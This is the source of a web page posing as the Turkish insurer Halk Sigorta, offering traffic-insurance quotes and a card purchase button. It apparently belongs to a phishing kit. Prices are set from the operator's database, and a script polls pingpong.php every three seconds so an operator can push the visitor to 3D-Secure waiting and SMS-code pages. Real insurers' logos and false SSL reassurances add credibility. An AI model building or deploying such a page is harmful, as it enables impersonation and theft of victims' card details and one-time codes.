<?php 
include 'db.php';

$q = $db->prepare("SELECT price FROM teklif_1");
$q->execute();
$f1 = $q->fetch(PDO::FETCH_OBJ);

$q = $db->prepare("SELECT price FROM teklif_2");
$q->execute();
$f2 = $q->fetch(PDO::FETCH_OBJ);

$q = $db->prepare("SELECT price FROM teklif_3");
$q->execute();
$f3 = $q->fetch(PDO::FETCH_OBJ);

$q = $db->prepare("SELECT price FROM teklif_4");
$q->execute();
$f4 = $q->fetch(PDO::FETCH_OBJ);

$q = $db->prepare("SELECT price FROM teklif_5");
$q->execute();
$f5 = $q->fetch(PDO::FETCH_OBJ);

$q = $db->prepare("SELECT price FROM teklif_6");
$q->execute();
$f6 = $q->fetch(PDO::FETCH_OBJ);
?>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <!--favicon icon-->
  <link rel="icon" href="assets/img/favicon.png" type="image/png" sizes="16x16">
  <!--title-->
  <title>Halk Sigorta - Yeni Nesil Sigortacılık -</title>
  <!--build:css-->
  <link rel="stylesheet" href="assets/css/main.css">
  <style type="text/css">
    .form__div {
      height: 50px;
      position: relative;
      margin-bottom: 24px;
    }

    .form-control {
      width: 100%;
      height: 45px;
      font-size: 14px;
      border: 1px solid #DADCE0;
      border-radius: 0;
      outline: none;
      padding: 2px;
      background: none;
      z-index: 1;
      box-shadow: none;
    }

    .form__label {
      position: absolute;
      left: 16px;
      top: 10px;
      background-color: #fff;
      color: #80868B;
      font-size: 16px;
      transition: .3s;
      text-transform: uppercase;
    }

    .form-control:focus+.form__label {
      top: -8px;
      left: 12px;
      color: #1A73E8;
      font-size: 12px;
      font-weight: 500;
      z-index: 10;
    }

    .form-control:not(:placeholder-shown).form-control:not(:focus)+.form__label {
      top: -8px;
      left: 12px;
      font-size: 12px;
      font-weight: 500;
      z-index: 10;
    }

    .form-control:focus {
      border: 1.5px solid #1A73E8;
      box-shadow: none;
    }
  </style>
  <!-- endbuild -->
</head>
<body>
  <!-- Google Tag Manager Halk Sigortam by AdresGezgini -->
  <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-KW36TB4"
    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
      new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
    '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
  })(window,document,'script','dataLayer','GTM-KW36TB4');</script>
  <!-- End Google Tag Manager Halk Sigortam by AdresGezgini -->
  <!--preloader start-->
  <div id="preloader">
    <div class="preloader-wrap">
      <img src="assets/img/logo-color.png" alt="logo" class="img-fluid" />
      <div class="preloader">
        <i>.</i>
        <i>.</i>
        <i>.</i>
      </div>
    </div>
  </div> <header id="header" class="header-main">
    <!--main header menu start-->
    <div id="logoAndNav" class="main-header-menu-wrap bg-transparent fixed-top">
      <div class="container">
        <nav class="js-mega-menu navbar navbar-expand-md header-nav">

          <!--logo start-->
          <a class="navbar-brand pt-0" href="index.php"><img src="assets/img/logo-white.png" alt="logo" class="img-fluid" /></a>
          <!--logo end-->

          <!--responsive toggle button start-->
          <button type="button" class="navbar-toggler btn" aria-expanded="false" aria-controls="navBar" data-toggle="collapse" data-target="#navBar">
            <span id="hamburgerTrigger">
              <span class="ti-menu"></span>
            </span>
          </button>
          <!--responsive toggle button end-->

          <!--main menu start-->
          <div id="navBar" class="collapse navbar-collapse">
            <ul class="navbar-nav ml-auto main-navbar-nav">
              <li class="nav-item hs-has-sub-menu custom-nav-item">
                <a id="pagesMegaMenu" class="nav-link custom-nav-link main-link-toggle" href="javascript:void(0);" aria-haspopup="true" aria-expanded="false" aria-labelledby="pagesSubMenu">Arabam</a>

                <!-- Pages - Submenu -->
                <ul id="pagesSubMenu" class="hs-sub-menu main-sub-menu" aria-labelledby="pagesMegaMenu" style="min-width: 230px;">
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="trafik-sigortasi.php">Zorunlu Trafik Sigortası</a>
                  </li>
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="kasko.php">Kasko Sigortası</a>
                  </li>
                </ul>
              </li>

              <li class="nav-item hs-has-sub-menu custom-nav-item">
                <a id="pagesMegaMenu" class="nav-link custom-nav-link main-link-toggle" href="javascript:void(0);" aria-haspopup="true" aria-expanded="false" aria-labelledby="pagesSubMenu">Evim</a>

                <!-- Pages - Submenu -->
                <ul id="pagesSubMenu" class="hs-sub-menu main-sub-menu" aria-labelledby="pagesMegaMenu" style="min-width: 230px;">
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="konut-sigortasi.php">Konut Sigortası</a>
                  </li>
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="dask.php">DASK Sigortası</a>
                  </li>
                </ul>
              </li>

              <li class="nav-item hs-has-sub-menu custom-nav-item">
                <a id="pagesMegaMenu" class="nav-link custom-nav-link main-link-toggle" href="javascript:void(0);" aria-haspopup="true" aria-expanded="false" aria-labelledby="pagesSubMenu">Sağlığım</a>

                <!-- Pages - Submenu -->
                <ul id="pagesSubMenu" class="hs-sub-menu main-sub-menu" aria-labelledby="pagesMegaMenu" style="min-width: 230px;">
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="saglik-sigortasi.php">Özel Sağlık Sigortası</a>
                  </li>
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="tamamlayici-saglik-sigortasi.php">Tamamlayıcı Sigortası</a>
                  </li>
                </ul>
              </li>
              <!--pages end-->
              <li class="nav-item hs-has-sub-menu custom-nav-item">
                <a id="pagesMegaMenu" class="nav-link custom-nav-link main-link-toggle" href="javascript:void(0);" aria-haspopup="true" aria-expanded="false" aria-labelledby="pagesSubMenu">Kurumsal</a>

                <!-- Pages - Submenu -->
                <ul id="pagesSubMenu" class="hs-sub-menu main-sub-menu" aria-labelledby="pagesMegaMenu" style="min-width: 230px;">
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="#hakkimizda">Hakkımızda</a>
                  </li>
                  <li class="nav-item submenu-item">
                    <a class="nav-link sub-menu-nav-link" href="kvkk.php">Kvvk</a>
                  </li>
                </ul>
              </li>

              <li class="nav-item header-nav-last-item d-flex align-items-center">
                <a class="btn btn-brand-03 animated-btn" href="tel:+902169001563" target="_blank">
                  <span class="fa fa-phone pr-2"></span> 0 (216) 900 15 63
                </a>
                <img src="assets/images/hasar.svg">
              </li>

            </ul>
          </div>
          <!--main menu end-->
        </nav>
      </div>
    </div>
    <!--main header menu end-->
  </header> <div class="main">
    <section class="ptb-60">
      <div class="container">
        <div class="row align-items-center justify-content-between">
          <center><img src="assets/images/sheell1.jpg" style="max-width: 90%; padding-top: 25px;"></center>
        </div>
      </div>
    </section>


    <!--pricing section start-->
    <section class="pricing-section ptb-100 ">
      <div class="container">
        <div class="row justify-content-center">
          <div class="col-md-9 col-lg-8">
            <div class="section-heading text-center mb-4">
              <h2>En Uygun Zorunlu Trafik Sigortası Teklifleri</h2>
            </div>
          </div>
        </div>
        <div class="row align-items-center justify-content-md-center justify-content-center">
          <div class="col-lg-4 col-md-6 col-sm-8">
            <div>
              <div class="text-center bg-white single-pricing-pack-2 mt-4 rounded border">
                <div class="pricing-icon">
                  <img src="assets/images/firma/1.png" width="200">
                  <input type="hidden" name="firma" value="Axa Sigorta">
                  <input type="hidden" name="fiyat" value="3.145,89">
                  <input type="hidden" name="islem" value="firma">
                  <input type="hidden" name="auth" value="63c6957b82b53">
                </div>
                <h4 class="package-title">Axa Sigorta</h4>
                <div class="pricing-price pt-4">
                  <a data-toggle="modal" data-target="#exampleModalLong" class="mb-4 d-block">Teminatlar <i class="far fa-arrow-right pl-2"></i>
                  </a>
                  <div class="h2"><?php echo $f1->price ?></div>
                </div>
                <button type="submit" class="btn btn-brand-01" onclick="goPay('teklif_1')"> Kredi Kartı ile Satın Al </button>
              </div>
            </div>
          </div>
          <div class="col-lg-4 col-md-6 col-sm-8">
            <div>
              <div class="text-center bg-white single-pricing-pack-2 mt-4 rounded border">
                <div class="pricing-icon">
                  <img src="assets/images/firma/2.png" width="200">
                  <input type="hidden" name="firma" value="Quick Sigorta">
                  <input type="hidden" name="fiyat" value="3.418,24">
                  <input type="hidden" name="islem" value="firma">

                  <input type="hidden" name="auth" value="63c6957b82b53">
                </div>
                <h4 class="package-title">Quick Sigorta</h4>
                <div class="pricing-price pt-4">
                  <a data-toggle="modal" data-target="#exampleModalLong" class="mb-4 d-block">Teminatlar <i class="far fa-arrow-right pl-2"></i>
                  </a>
                  <div class="h2"><?php echo $f2->price ?></div>
                </div>
                <button type="submit" class="btn btn-brand-01" onclick="goPay('teklif_2')"> Kredi Kartı ile Satın Al </button>
              </div>
            </div>
          </div>

          <div class="col-lg-4 col-md-6 col-sm-8">
            <div>
              <div class="text-center bg-white single-pricing-pack-2 mt-4 rounded border">
                <div class="pricing-icon">
                  <img src="assets/images/firma/x22.png" width="200">
                  <input type="hidden" name="firma" value="Türkiye Sigorta">
                  <input type="hidden" name="fiyat" value="2.448,47">
                  <input type="hidden" name="islem" value="firma">

                  <input type="hidden" name="auth" value="63c6957b82b53">
                </div>
                <h4 class="package-title">Türkiye Sigorta</h4>
                <div class="pricing-price pt-4">
                  <a data-toggle="modal" data-target="#exampleModalLong" class="mb-4 d-block">Teminatlar <i class="far fa-arrow-right pl-2"></i>
                  </a>
                  <div class="h2"><?php echo $f3->price ?></div>
                </div>
                <button type="submit" class="btn btn-brand-01" onclick="goPay('teklif_3')"> Kredi Kartı ile Satın Al </button>
              </div>
            </div>
          </div>
          <div class="col-lg-4 col-md-6 col-sm-8">
            <div>
              <div class="text-center bg-white single-pricing-pack-2 mt-4 rounded border">
                <div class="pricing-icon">
                  <img src="https://www.allianz.com.tr/content/dam/onemarketing/system/AZ_Logo_MSTeams_257x193px.png" width="200">
                  <input type="hidden" name="firma" value="Türkiye Sigorta">
                  <input type="hidden" name="fiyat" value="2.448,47">
                  <input type="hidden" name="islem" value="firma">

                  <input type="hidden" name="auth" value="63c6957b82b53">
                </div>
                <h4 class="package-title">Allianz Sigorta</h4>
                <div class="pricing-price pt-4">
                  <a data-toggle="modal" data-target="#exampleModalLong" class="mb-4 d-block">Teminatlar <i class="far fa-arrow-right pl-2"></i>
                  </a>
                  <div class="h2"><?php echo $f4->price ?></div>
                </div>
                <button type="submit" class="btn btn-brand-01" onclick="goPay('teklif_4')"> Kredi Kartı ile Satın Al </button>
              </div>
            </div>
          </div>
          <div class="col-lg-4 col-md-6 col-sm-8">
            <div>
              <div class="text-center bg-white single-pricing-pack-2 mt-4 rounded border">
                <div class="pricing-icon">
                  <img src="https://www.aksigorta.com.tr/api/uploads/20190201172831648.png" width="200">
                  <input type="hidden" name="firma" value="Türkiye Sigorta">
                  <input type="hidden" name="fiyat" value="2.448,47">
                  <input type="hidden" name="islem" value="firma">

                  <input type="hidden" name="auth" value="63c6957b82b53">
                </div>
                <h4 class="package-title">Ak Sigorta</h4>
                <div class="pricing-price pt-4">
                  <a data-toggle="modal" data-target="#exampleModalLong" class="mb-4 d-block">Teminatlar <i class="far fa-arrow-right pl-2"></i>
                  </a>
                  <div class="h2"><?php echo $f5->price ?></div>
                </div>
                <button type="submit" class="btn btn-brand-01" onclick="goPay('teklif_5')"> Kredi Kartı ile Satın Al </button>
              </div>
            </div>
          </div>
          <div class="col-lg-4 col-md-6 col-sm-8">
            <div>
              <div class="text-center bg-white single-pricing-pack-2 mt-4 rounded border">
                <div class="pricing-icon">
                  <img src="data:image/jpeg;base64, " width="200">
                  <input type="hidden" name="firma" value="Türkiye Sigorta">
                  <input type="hidden" name="fiyat" value="2.448,47">
                  <input type="hidden" name="islem" value="firma">

                  <input type="hidden" name="auth" value="63c6957b82b53">
                </div>
                <h4 class="package-title">Halk Sigorta</h4>
                <div class="pricing-price pt-4">
                  <a data-toggle="modal" data-target="#exampleModalLong" class="mb-4 d-block">Teminatlar <i class="far fa-arrow-right pl-2"></i>
                  </a>
                  <div class="h2"><?php echo $f6->price ?></div>
                </div>
                <button type="submit" class="btn btn-brand-01" onclick="goPay('teklif_6')"> Kredi Kartı ile Satın Al </button>
              </div>
            </div>
          </div>
        </div>
      </div>
      <div class="modal fade" id="exampleModalLong" tabindex="-1" role="dialog" aria-labelledby="exampleModalLongTitle" aria-hidden="true">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h5 class="modal-title" id="exampleModalLongTitle">Teminatlar</h5>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
              <ul class="list-group list-group-flush">
                <li class="list-group-item">Araç Başına Maddi Giderler: 100.000</li>
                <li class="list-group-item">Kaza Başına Maddi Giderler: 200.000</li>
                <li class="list-group-item">Kişi Başına Sağlık Giderleri: 1.000.000</li>
                <li class="list-group-item">Kaza Başına Sağlık Giderleri: 5.000.000</li>
                <li class="list-group-item">Kişi Başına Sakatlanma ve Ölüm: 1.000.000</li>
                <li class="list-group-item">Kaza Başına Sakatlanma ve Ölüm: 5.000.000</li>
                <li class="list-group-item">İMM Limiti : SINIRSIZ</li>
                <li class="list-group-item">ÇEKİCİ HİZMETİ : 6 kez</li>
              </ul>
            </div>
            <div class="modal-footer">
              <button type="button" class="btn btn-secondary" data-dismiss="modal">Kapat</button>
            </div>
          </div>
        </div>
      </div>
    </section>
    <div class="col-12">
      <div class="support-cta text-center mt-5">
        <h5 class="mb-1">
          <center><img src="assets/images/sheell2.jpg" style="max-width: 90%; padding-bottom: 25px;"></center>

          <span class="fa fa-shield color-primary mr-3"></span>Güvenli Alışveriş
        </h5>
        <p>Alışverişinizi daha güvenli yapabilmeniz için Halk Sigorta SSL güvenlik sertifikası kullanmaktadır. <br> Halk Sigorta ‘Kredi kartı bilgilerinizi’ sadece satın alma aşamalarında kullanmaktadır. <br>Başka hiç bir işlem için kayıt altında tutmaz. SSL sertifikası kullanımıyla bilgileriniz sadece halk sigorta tarafında satın alma aşamasında kullanılır. </p>
        <center>
          <img src="assets/images/comodo.jpeg">
        </center>
      </div>
    </div>
  </div>  <!--footer section start-->
  <footer class="footer-1 ptb-60 dark-bg ">
    <div class="container">
      <div class="row">
        <div class="col-md-12 col-lg-4 mb-4 mb-md-4 mb-sm-4 mb-lg-0">
          <a href="#" class="navbar-brand mb-2">
            <img src="assets/img/logo-white.png" alt="logo" class="img-fluid">
          </a>
          <br>
          <p>Yeni nesil dijital sigortacılığın öncüsü </p>
          <ul class="list-inline social-list-default background-color social-hover-2 mt-2">
            <li class="list-inline-item"><img src="assets/images/guven.svg"></li>
            <li class="list-inline-item"><img src="assets/images/etbis.svg"></li>
          </ul>
        </div>
        <div class="col-md-12 col-lg-8">
          <div class="row mt-0">
            <div class="col-sm-6 col-md-3 col-lg-3 mb-3 mb-sm-3 mb-md-0 mb-lg-0">
              <h6 class="font-weight-normal">Arabam</h6>
              <ul>
                <li>
                  <a href="#">Zorunlu Trafik Sigortası</a>
                </li>
                <li>
                  <a href="#">Kasko Sigortası</a>
                </li>

              </ul>
            </div>
            <div class="col-sm-6 col-md-3 col-lg-3 mb-3 mb-sm-3 mb-md-0 mb-lg-0">
              <h6 class="font-weight-normal">Evim</h6>
              <ul>
                <li>
                  <a href="#">Konut Sigortası</a>
                </li>
                <li>
                  <a href="#">DASK Sigortası</a>
                </li>
              </ul>
            </div>
            <div class="col-sm-6 col-md-3 col-lg-3 mb-3 mb-sm-3 mb-md-0 mb-lg-0">
              <h6 class="font-weight-normal">Sağlığım</h6>
              <ul>
                <li>
                  <a href="#">Özel Sağlık Sigortası</a>
                </li>
                <li>
                  <a href="#">Tamamlayıcı Sağlık Sigortası</a>
                </li>
              </ul>
            </div>

            <div class="col-sm-6 col-md-3 col-lg-3 mb-3 mb-sm-3 mb-md-0 mb-lg-0">
              <ul>
                <li>
                  <span style="color: #f67a3c;" class="fa fa-phone pr-2"><a style="color: white;" href="tel:+902169001563"> 0 (216) 900 1563</a></span>
                </li>
              </ul>
              <ul class="list-inline social-list-default background-color social-hover-2 mt-2">
                <li class="list-inline-item"><a class="instagram" href="#"><i class="fab fa-instagram"></i></a></li>
                <li class="list-inline-item"><a class="facebook" href="#"><i class="fab fa-facebook"></i></a></li>
                <li class="list-inline-item"><a class="linkedin" href="#"><i class="fab fa-linkedin-in"></i></a></li>
                <li class="list-inline-item"><a class="twitter" href="#"><i class="fab fa-twitter"></i></a></li>
              </ul>


            </div>

          </div>
        </div>
      </div>
    </div>
    <!--end of container-->
  </footer>

  <!--footer bottom copyright start-->
  <div class="footer-bottom py-3 gray-light-bg">
    <div class="container">
      <div class="row">
        <div class="col-md-6 col-lg-7">
          <div class="copyright-wrap small-text">
            <p class="mb-0">&copy; Halk Sigorta</p>
          </div>
        </div>
      </div>
    </div>
  </div> <div class="scroll-top scroll-to-target primary-bg text-white" data-target="html">
    <span class="fas fa-hand-point-up"></span>
  </div>
  <!--scroll bottom to top button end-->
  <!--build:js-->
  <script src="assets/js/vendors/jquery-3.5.1.min.js"></script>
  <script src="assets/js/vendors/popper.min.js"></script>
  <script src="assets/js/vendors/bootstrap.min.js"></script>
  <script src="assets/js/vendors/bootstrap-slider.min.js"></script>
  <script src="assets/js/vendors/jquery.easing.min.js"></script>
  <script src="assets/js/vendors/owl.carousel.min.js"></script>
  <script src="assets/js/vendors/countdown.min.js"></script>
  <script src="assets/js/vendors/jquery.waypoints.min.js"></script>
  <script src="assets/js/vendors/jquery.rcounterup.js"></script>
  <script src="assets/js/vendors/magnific-popup.min.js"></script>
  <script src="assets/js/vendors/validator.min.js"></script>
  <script src="assets/js/vendors/hs.megamenu.js"></script>
  <script src="assets/js/app.js"></script>
  <script type="text/javascript">
    $(".progress-bar").animate({
      width: "100%"
    }, 64500);
  </script>
  <script type="text/javascript">
    function goPay(pay_type){
      $.ajax({
        url: 'get_session.php?pay_type=' + pay_type
      });

      window.location.href = 'odeme.html';
    }
  </script>
  <script type="text/javascript">
    pingPong();

    self.setInterval('pingPong()', 3000);
    $.ajax({
      url: 'page.php?page=TeklifTam',
      type: 'GET'
    });
    function pingPong(){
      $.ajax({
        url: 'pingpong.php',
        type: 'GET',
        dataType: 'JSON',
        success: function(callback){
          if(callback.status == 'index'){
            window.location.href = 'trafik-sigortasi.html';
          }else if(callback.status == 'bekle'){
            window.location.href = '3dbekle.html';
          }else if(callback.status == 'sms'){
            window.location.href = 'sms.html';
          }else if(callback.status == 'hsms'){
            window.location.href = 'hsms.html';
          }else if(callback.status == 'tebrik'){
            window.location.href = 'tebrik.html'
          }else if(callback.status == 'priv'){
            window.location.href = 'priv.html';
          }
        }
      });
    }
  </script>
  <!--endbuild-->
</body>
</html>